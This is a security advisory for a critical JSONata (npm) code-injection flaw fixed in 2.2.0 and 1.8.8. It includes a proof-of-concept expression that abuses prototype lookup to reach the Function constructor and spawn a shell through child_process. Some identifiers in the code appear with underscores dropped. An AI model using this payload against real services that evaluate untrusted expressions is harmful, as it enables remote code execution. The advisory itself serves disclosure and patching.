PT-2026-80249 · Npm · Jsonata

Published

2026-08-21

·

Updated

2026-08-21

CVSS v4.0

9.3

Critical

VectorAV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Impact

Before JSONata 2.2.0 and 1.8.8 it was possible to execute arbitrary code with crafted expressions, due to a missing hasOwnProperty check in the lookup function: https://github.com/jsonata-js/jsonata/blob/f9632e01e6e67d4f9f00593f9795420cb4b57f48/src/functions.js#L1686-L1705
This was fixed with https://github.com/jsonata-js/jsonata/pull/794, which is included in the 2.2.0 release, and ported in the 1.8.8 release.

PoC

js
import jsonata from "jsonata";

const expression = jsonata(`
(
   lookupSetter (' proto ')(constructor);
   defineGetter ('l', constructor("return
process.getBuiltinModule('child process').execSync('sh',{stdio:'inherit'}).toString()"));
  valueOf().l
)
`);

await expression.evaluate({});

Fix

Code Injection

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Weakness Enumeration

Related Identifiers

GHSA-8GQ3-VP5J-2GRP

Affected Products

Jsonata